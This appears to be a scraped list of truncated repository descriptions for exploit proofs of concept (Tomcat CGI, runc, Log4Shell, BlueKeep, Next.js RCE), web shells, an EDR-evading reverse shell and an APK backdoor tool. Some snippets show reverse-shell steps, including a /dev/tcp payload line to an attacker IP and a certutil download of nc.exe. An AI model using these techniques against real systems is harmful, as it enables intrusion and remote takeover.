CVE-2019-0232

CGI RCE Exploit PoC for unauthenticated RCE via CGI batch endpoints. Downloads nc.exe to the target using certutil and triggers a reverse shell. Setup 1. Serve nc.exe in the same directory where nc.exe is: python3 -m http.server 80 2. Start your listener: nc -lvnp 1234 3. Run the exploit:...

CVE-2022-37706-SUID

CVE-2022-37706-SUID CVE-2022-37706-Enlightenment v0.25.3 - Privilege escalation ./exploit.sh CVE-2022-37706 Trying to find the vulnerable SUID file... This may take few seconds... + Vulnerable SUID binary found! + Trying to pop a root shell! + Enjoy the root shell : mount: /dev/../tmp/: can't fin...

weevely3

Weevely - Shell web armamentizado Descripción Weevely es un shell web diseñado para fines de post-explotación que puede extenderse a través de la red en tiempo de ejecución. Suba el agente PHP de weevely a un servidor web objetivo para obtener acceso remoto a un shell en él. Tiene más de 30 módul...

CVE-2021-21220

First install: https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Winx64/848005/ Chrome version: 90.0.4403.0 install chrome-win.zip 1. node server.js run ./chrome.exe --no-sandbox go to localhost:8888 Note that the CVE which this exploits relies on is CVE...

CVE-2019-0232_tomcat_cgi_exploit

Apache Tomcat CGI Exploit Script Description A Python script designed to exploit CGI vulnerabilities in Apache Tomcat servers by executing a reverse shell connection. Usage Example Features Automated exploit for Apache Tomcat CGI vulnerabilities Customizable target and attacker parameters Simple...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Usage : machine is vulnerable to CVE-2019-5736, follow steps in Runc exploit CVE-2019-5736. Download file main.go, change the payload in the file into: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" After that, run: go build main.go Host a...

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE Alternative Approach: Reverse Shell & Callback Test Overview This repository contains alternative payload approaches for the InvokeAI RCE vulnerability CVE-2024-12029 when SSH key injection fails. The payloads are designed to test if...

cryptr

cryptr Una sencilla utilidad de shell para cifrar y descifrar archivos usando OpenSSL. Instalación git clone https://github.com/nodesocket/cryptr.git ln -s "$PWD"/cryptr/cryptr.bash /usr/local/bin/cryptr Requisitos shred si se desea eliminar opcionalmente el archivo original. Finalización de...

nim-shell

Nim-Shell Shell inversa que puede evadir la detección de EDR y Windows Defender Por favor, no subas a VirusTotal INSTRUCCIONES DE INSTALACIÓN $ apt install nim Compilación nim c -d:mingw --app:gui nimshell.nim Cambia la dirección IP y el número de puerto que deseas escuchar en el archivo...

CVE-2019-0708-POC

CVE-2019-0708-POC Working proof of concept for CVE-2019-0708, spawns remote shell. Run with python3, Example python3 CVE-2019-0708-windows.py Different versions are required for linux and Windows. Obfuscated for obvious reasons...

POC_react2shell_CVE-2025-55182

Next.js React Server Components RCE Exploit Exploits CVE-2025-55182 for remote code execution via prototype pollution. Author: Severian N.K. Description This tool exploits a prototype pollution vulnerability in Next.js applications using React Server Components, leading to Remote Code Execution...

needrestart-privesc-cve-2024-48990

needrestart Privilege Escalation CVE-2024-48990 This repository contains a minimal local privilege escalation exploit targeting a vulnerability in needrestart CVE-2024-48990. The vulnerability allows arbitrary Perl code execution as root by abusing the -c configuration option, which is parsed and...

LOGJ4_PocShell_CVE-2021-44228

log4j-shell-poc A Proof-Of-Concept for the recently found CVE-2021-44228 vulnerability. Recently there was a new vulnerability in log4j, a java logging library that is very widely used in the likes of elasticsearch, minecraft and numerous others. In this repository there is an example vulnerable...

htb-sau-exploit-chain

HTB Sau Exploit Chain — CVE-2023-27163 SSRF + Maltrail RCE Automation A Python exploit script that chains CVE-2023-27163 Server-Side Request Forgery in Request Baskets ≤ 1.2.1 with an unauthenticated Remote Code Execution vulnerability in Maltrail 0.53, delivering a reverse shell. Designed for th...

backdoor-apk

backdoor-apk backdoor-apk es un script de shell que simplifica el proceso de añadir una puerta trasera a cualquier archivo APK de Android. Los usuarios de este script de shell deben tener conocimientos prácticos de Linux, Bash, Metasploit, Apktool, el SDK de Android, smali, etc. Este script de...

porterminal

Give your agent any computer One command. One URL. A real terminal for your agent, a live view for you. Run Porterminal on a Windows, macOS, or Linux computer and give the generated link to your AI agent. It gets a real shell with the files, tools, and projects on that machine. Open the same link...

humane-aipin-ghostlock

GhostLock for Humane AI Pin GhostLock for Humane AI Pin is an open-source, boot-scoped root proof of concept for one exact retail firmware build. It exercises CVE-2026-43499, a Linux rtmutex use-after-free, from an ordinary authorized ADB shell. The runner is deliberately narrow. It checks the...

CVE-2023-422-Chamilo-LMS-RCE

Prerequisites pip install requests Information The python script uses the vulnerability CVE-2023-422 to upload a file into the server and uses that file to send a reverse shell to the netcat listener and all this can be done without being authenticated. However, you will need to follow the...

CVE-2023-27163-AND-Mailtrail-v0.53

Automatic Exploit Summary The following exploit abuses Requests Baskets v1.2.1 SSRF vulnerability to forward the internal application running at 127.0.0.1:80 to the external application at /pwned. Once the Mailtrail v0.53 application has been forwarded it will execute a reverse shell command...

CVE-2022-41544

CVE-2022-41544 Exploit Script This repository contains a script to exploit CVE-2022-41544 vulnerability in GetSimple CMS. The script performs several steps to check for vulnerabilities, leak API keys, set cookies, obtain CSRF tokens, upload a shell, and trigger the shell. Changes and Improvements...